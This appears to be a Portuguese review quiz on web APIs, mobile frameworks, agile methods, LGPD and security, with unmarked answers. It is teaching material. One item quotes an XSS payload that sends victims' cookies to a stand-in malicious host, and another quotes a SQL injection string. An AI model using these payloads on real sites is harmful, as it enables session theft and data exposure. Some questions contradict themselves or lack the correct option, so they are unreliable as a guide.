Font size
WorksheetsRevisão 3° Sistemas (AVB3)
Total questions: 50
Worksheet time: 2hrs 40mins
Framework mais popular para desenvolvimento de aplicações mobile
(a)
Kauã está desenvolvendo uma API REST para um sistema de gerenciamento de produtos. Ele precisa criar um novo produto em uma URL específica, substituindo qualquer produto existente nessa URL. Qual método HTTP Kauã deve usar, sabendo que esse método não é idempotente?
GET
POST
PUT
DELETE
Framework para criar aplicações mobile
Qual é a principal função de um middleware em uma aplicação Express.js?
Definir as rotas da aplicação, como `/usuarios` ou `/produtos`.
Conectar-se diretamente ao banco de dados para executar consultas SQL.
Executar código durante o ciclo de vida da requisição-resposta, podendo modificar os objetos `req` e `res`.
Renderizar a interface do usuário final no navegador.
Henry trabalha no departamento de recursos humanos de uma empresa e está revisando diferentes tipos de informações dos funcionários para garantir a conformidade com a Lei Geral de Proteção de Dados (LGPD). Qual das opções a seguir contém apenas dados considerados 'sensíveis' segundo a LGPD?
CPF, endereço residencial e histórico de compras.
Idade, profissão e estado civil.
Nome, e-mail e telefone.
Dado genético, filiação a sindicato e opinião política.
Cite um tipo de dado pessoal
Qual técnica de ataque explora a confiança de um usuário em um site legítimo para executar scripts maliciosos no navegador da vítima?
Cross-Site Scripting (XSS)
SQL Injection
Engenharia Social
Ataque de Negação de Serviço (DoS)
Dentro dos valores do Manifesto Ágil, o que significa 'Colaboração com o cliente mais que negociação de contratos'?
Que o cliente deve ter acesso direto ao código-fonte para fazer as alterações que desejar.
Que a equipe de desenvolvimento deve envolver o cliente continuamente para garantir que o produto atenda às suas necessidades.
Que o cliente é o único responsável por definir todas as tarefas do time de desenvolvimento.
Que os contratos formais devem ser completamente ignorados em todos os projetos.
Um desenvolvedor está construindo uma API para um blog. Ele precisa de um endpoint para que os moderadores possam aprovar um comentário, alterando seu status de 'pendente' para 'aprovado'. Múltiplas aprovações no mesmo comentário não devem gerar novos registros ou erros, o resultado final deve ser sempre 'aprovado'. Qual método HTTP é o mais semanticamente correto para a rota `/comentarios/123/aprovacao` e por quê?
GET, porque o servidor precisa primeiro 'obter' o comentário para depois aprová-lo.
POST, porque está enviando uma nova informação (a aprovação) para o servidor.
PUT, porque ele está aplicando uma modificação parcial no recurso 'comentário'.
PUT, porque a operação é idempotente.
Em uma aplicação web, qual é a principal diferença entre REST e o padrão MVC (Model-View-Controller)?
REST é usado para frontend e MVC para backend.
REST é uma arquitetura cliente servidor e MVC é a separação de responsabilidades.
MVC é uma arquitetura estrutural e REST é a separação de responsabilidades.
MVC é um framework e REST é uma biblioteca.
Um sistema escolar armazena as notas dos alunos em uma tabela `Notas` com as colunas `aluno_id`, `disciplina` e `nota`. Um atacante, tentando descobrir notas de outros alunos, consegue injetar o seguinte trecho em um campo de busca que é concatenado diretamente em uma consulta SQL: `' OR 1=1; --`. O que essa injeção de SQL provavelmente causará?
A consulta apagará a tabela de notas, devido ao comando `DROP TABLE` implícito.
Nada acontecerá, pois os sistemas modernos de banco de dados bloqueiam automaticamente o uso de `;` em consultas.
O sistema retornará um erro, pois `1=1` não é um nome de aluno válido.
A condição da consulta se tornará sempre verdadeira, potencialmente retornando todas as notas de todos os alunos da tabela.
Qual princípio da LGPD estabelece que o tratamento de dados deve ser limitado ao mínimo necessário para a realização de suas finalidades?
Princípio da Necessidade
Princípio da Finalidade
Princípio da Segurança
Princípio da Transparência
Uma startup está desenvolvendo um aplicativo de fitness. Eles optaram por usar Scrum. Na metade da primeira Sprint, o Product Owner (PO) percebe, com base no feedback inicial de usuários-piloto, que uma das funcionalidades em desenvolvimento é muito mais complexa do que o esperado e menos valiosa do que se pensava. Qual seria a atitude mais ágil a ser tomada pela equipe?
O PO e o Time de Desenvolvimento devem se reunir imediatamente para renegociar o escopo da Sprint, potencialmente removendo a funcionalidade problemática e substituindo-a por outra de valor similar do Product Backlog.
Continuar a Sprint conforme planejado para não quebrar as regras do Scrum, e discutir a funcionalidade na próxima Sprint Retrospective.
O Time de Desenvolvimento deve trabalhar horas extras para terminar a funcionalidade complexa, mantendo o compromisso da Sprint a todo custo.
O PO deve cancelar a Sprint imediatamente, pois o objetivo da Sprint não pode mais ser alcançado.
Metodologia ágil focada na divisão de papeis
(a)
Em uma equipe de desenvolvimento formada por Francisco, Nayara e Guilherme, eles utilizam o sistema Kanban para organizar suas tarefas. Qual é a principal finalidade de limitar o 'Trabalho em Progresso' (WIP) nesse sistema?
Permitir que o gerente de projetos atribua tarefas de forma mais eficaz.
Dividir o trabalho em Sprints de duas semanas, assim como no Scrum.
Garantir que todos os membros da equipe estejam sempre ocupados com múltiplas tarefas.
Promover um fluxo de trabalho suave e contínuo, evitando gargalos e melhorando o tempo de entrega.
Qual dos seguintes é um exemplo de SaaS (Software as a Service)?
O servidor web Apache rodando em uma hospedagem contratada.
O sistema operacional Windows instalado no seu computador.
O jogo Counter-Strike comprado e instalado via Steam.
Uma assinatura do Google Workspace (G-Suite) ou Microsoft 365.
Luna está desenvolvendo um sistema de gerenciamento de usuários e implementa uma funcionalidade para excluir usuários via API RESTful. Ela faz uma requisição DELETE /usuarios/42 e recebe como resposta o código de status HTTP 204 No Content. O que essa resposta significa para Luna?
O servidor processou a solicitação com sucesso e não há nenhum conteúdo adicional para enviar no corpo da resposta.
Ocorreu um erro e o usuário não foi encontrado no servidor.
A solicitação foi bem-sucedida, mas o cliente não tem permissão para ver a resposta.
O recurso foi marcado para exclusão, mas a operação ainda está pendente de confirmação.
Um invasor consegue explorar uma vulnerabilidade em um formulário de comentários de um site para inserir o seguinte código: `<script>document.location='http://site-malicioso.com/captura.php?cookie='+document.cookie</script>`. Qual tipo de ataque está sendo realizado e qual é o seu objetivo principal?
SQL Injection, para roubar senhas do banco de dados.
Cross-Site Scripting (XSS), para roubar os cookies de sessão de outros usuários.
Phishing, para enganar o usuário e fazê-lo digitar suas credenciais em uma página falsa.
Denial of Service (DoS), para derrubar o servidor do site.
Em um contexto de Resposta a Incidentes de Segurança, por que a fase de 'Contenção' é crucial e qual é o principal dilema que as equipes de segurança enfrentam durante essa fase?
É crucial para formatar todos os sistemas e restaurar backups. O dilema é escolher qual backup usar.
É crucial para comunicar o incidente à Autoridade Nacional de Proteção de Dados (ANPD). O dilema é calcular o valor da multa a ser paga.
É crucial para limitar a propagação do ataque e minimizar os danos. O dilema é equilibrar a rapidez da ação (ex: desconectar um servidor) com a necessidade de preservar evidências para investigação.
É crucial para acelerar a propagação do ataque e maximizas os danos. O dilema é diminuir a rapidez da ação (ex: desconectar um servidor) com a necessidade de preservar evidências para investigação.
Crie um componente de UI onde é permitido apenas uma resposta por item
Linguagem de programação do framework Flutter
(a)
Quais sãos os verbos HTTP?
Evelyn está desenvolvendo um aplicativo em React Native e precisa adicionar e gerenciar o estado interno de um componente funcional. Qual hook ela deve usar para isso?
useState
setState
componentState
useEffect
2. Qual a linguagem de programação utilizada pelo framework React Native?
React
Dart
Java
JavaScript
Na arquitetura MVT (Model-View-Template) do Django, qual camada é responsável por interagir com o banco de dados?
Controller
Template
View
Model
Qual é a Lei nº 13.709/2018?
(a)
Qual prática profissional é essencial para garantir a qualidade do código e compartilhar conhecimento antes de integrar novas funcionalidades a um projeto em equipe?
Fazer o deploy direto para produção.
Aguardar a reunião semanal para apresentar o código.
Enviar o código por e-mail para o gestor.
Code Review (Revisão de Código).
No contexto ágil, qual a principal diferença entre Scrum e Kanban?
Kanban possui um Scrum Master, o Scrum não.
Scrum não permite mudanças durante a Sprint, Kanban sim.
Scrum usa Sprints; Kanban foca no fluxo contínuo.
Kanban é para desenvolvimento e Scrum para gerenciamento.
Liam está desenvolvendo um aplicativo que exige o melhor desempenho possível e acesso total aos recursos do dispositivo, como câmera, GPS e sensores. Qual abordagem de desenvolvimento mobile ele deve escolher?
Nativo.
Híbrido.
Responsivo.
PWA (Progressive Web App).
Qual é a diferença fundamental na forma como o Flutter e o React Native renderizam a interface do usuário?
Flutter desenha seus próprios widgets na tela usando uma engine gráfica (Skia), enquanto React Native usa os componentes nativos da plataforma.
Ambos convertem o código para componentes nativos da plataforma.
React Native compila para código nativo e Flutter é interpretado em tempo de execução.
React desenha seus próprios widgets na tela usando uma engine gráfica (Skia), enquanto Flutter usa os componentes nativos da plataforma.
Kai está desenvolvendo uma nova aplicação desktop no ecossistema Java e deseja utilizar um framework moderno para criar interfaces ricas. Qual framework ele deve escolher como sucessor da biblioteca Swing?
JDBC
Hibernate
Spring
JavaFX
Rohan está liderando uma startup que decidiu lançar seu produto seguindo a metodologia Lean Startup. Qual das ações abaixo contradiz diretamente os princípios dessa abordagem?
Utilizar métricas para medir o engajamento do usuário e 'pivotar' (mudar a estratégia) com base nos dados coletados.
Lançar um MVP (Produto Mínimo Viável) para testar a hipótese central do negócio.
Passar 18 meses em modo 'stealth' (secreto) desenvolvendo a versão completa e perfeita do produto antes de mostrá-la a qualquer cliente.
Realizar entrevistas com potenciais clientes antes mesmo de escrever a primeira linha de código.
Qual o propósito principal do arquivo `pubspec.yaml` em um projeto Flutter?
Definir metadados do projeto e gerenciar dependências.
Configurar permissões nativas do Android e iOS.
Declarar as rotas de navegação da aplicação.
Armazenar variáveis de ambiente globais.
Cite um exemplo de CMS
Isaac e Guilherme estão discutindo sobre ferramentas de desenvolvimento. Considerando o ecossistema de desenvolvimento, o que são Django e Java, respectivamente?
Linguagem e Framework.
Framework Java e Linguagem de Programação.
Framework Python e Linguagem de programação.
Ambos são frameworks.
Mia abriu uma pequena empresa e precisa de um site institucional rapidamente e com baixo custo. Qual a solução mais indicada para ela?
Criar uma aplicação desktop em JavaFX.
Usar um CMS como o WordPress.
Desenvolver um sistema do zero com Django e React.
Contratar uma grande agência de publicidade.
Por que o código Java é frequentemente criticado por sua 'verbosidade' e 'boilerplate'?
Porque sua tipagem dinâmica causa muitos erros em tempo de execução.
Porque a Máquina Virtual Java (JVM) é notoriamente lenta.
Pela necessidade de escrever muito código para tarefas simples, com sintaxe explícita e estruturas de classes detalhadas.
Pela necessidade de escrever pouco código para tarefas simples, com sintaxe dinâmica e estruturas de classes automatizadas.
Na arquitetura MVC (Model-View-Controller), qual camada é responsável por processar a lógica de negócios e intermediar a comunicação entre as outras camadas?
View
Controller
Template
Model
Ao consumir uma API REST, qual código de status HTTP indica que um recurso foi criado com sucesso?
200 OK
400 Bad Request
201 Created
204 No Content
Ao realizar uma requisição GET /produtos/100 em uma API RESTful, o servidor responde com o código de status HTTP 404 Not Found. O que isso indica para o cliente?
O cliente não tem permissão para acessar o recurso.
O recurso foi criado com sucesso.
O servidor processou a solicitação com sucesso, mas não há conteúdo para retornar.
O recurso solicitado não foi encontrado no servidor.
Emma está desenvolvendo um aplicativo usando a arquitetura MVC. Ela precisa decidir qual camada será responsável por exibir os dados ao usuário e receber suas interações. Qual camada Emma deve escolher?
Model
View
Controller
Service
Ao proteger um formulário web contra ataques de injeção de SQL, qual das práticas abaixo é a mais recomendada?
Concatenar os dados do usuário diretamente na consulta SQL.
Desabilitar o uso de senhas no banco de dados.
Permitir que o usuário insira comandos SQL diretamente.
Utilizar consultas parametrizadas (prepared statements).
No contexto do Manifesto Ágil, o que significa 'Responder a mudanças mais que seguir um plano'?
Que o planejamento deve ser completamente ignorado em projetos ágeis.
Que a equipe deve ser flexível e adaptar o desenvolvimento conforme surgem novas necessidades ou feedbacks.
Que mudanças só podem ser feitas após a entrega final do produto.
Que o plano inicial é sempre mais importante do que as necessidades do cliente.
Qual das opções abaixo é uma vantagem do desenvolvimento mobile nativo em relação ao desenvolvimento híbrido?
Melhor desempenho e integração com recursos específicos do dispositivo.
Maior facilidade de manutenção do código.
Menor custo de desenvolvimento inicial.
Atualizações automáticas em todas as plataformas simultaneamente.
Durante a resposta a um incidente de segurança, qual é o objetivo principal da fase de 'Erradicação'?
Remover completamente a causa raiz do incidente e restaurar os sistemas ao estado seguro.
Desconectar todos os sistemas da rede para evitar novos ataques.
Comunicar o incidente aos usuários afetados.
Coletar evidências para análise forense.
O que acontece se você esquecer de rodar o comando flutter pub get após adicionar uma nova dependência no pubspec.yaml?
O projeto apresentará erros de compilação por não encontrar a dependência adicionada.
O Flutter irá baixar automaticamente as dependências na próxima execução.
O projeto será compilado normalmente, sem problemas.
O arquivo pubspec.yaml será excluído automaticamente.
Em uma equipe de desenvolvimento formada por Hélio, Francisco e Pedro, eles percebem que a comunicação entre eles é fundamental para o sucesso do projeto. No contexto do Manifesto Ágil, qual valor enfatiza a importância de 'Indivíduos e interações mais que processos e ferramentas'?
Seguir estritamente todos os processos definidos, independentemente das necessidades da equipe.
Focar apenas na documentação detalhada do projeto.
Ignorar completamente o uso de ferramentas no projeto.
Priorizar a comunicação e colaboração entre as pessoas da equipe em vez de depender exclusivamente de processos rígidos ou ferramentas.
Aria está desenvolvendo um sistema de gerenciamento de usuários e precisa atualizar apenas o endereço de e-mail de um usuário existente via API REST. Qual método HTTP Aria deve usar para atualizar parcialmente esse recurso?
GET
PUT
POST
DELETE
No React Native, qual hook é utilizado para executar efeitos colaterais, como requisições a APIs, após a renderização do componente?
useState
useEffect
useReducer
useCallback
No desenvolvimento de aplicações web, qual é a principal vantagem de utilizar o padrão MVC?
Permite que o código seja executado apenas no frontend.
Facilita a separação de responsabilidades entre dados, interface e lógica de controle.
Elimina a necessidade de banco de dados.
Garante que não haverá bugs no sistema.
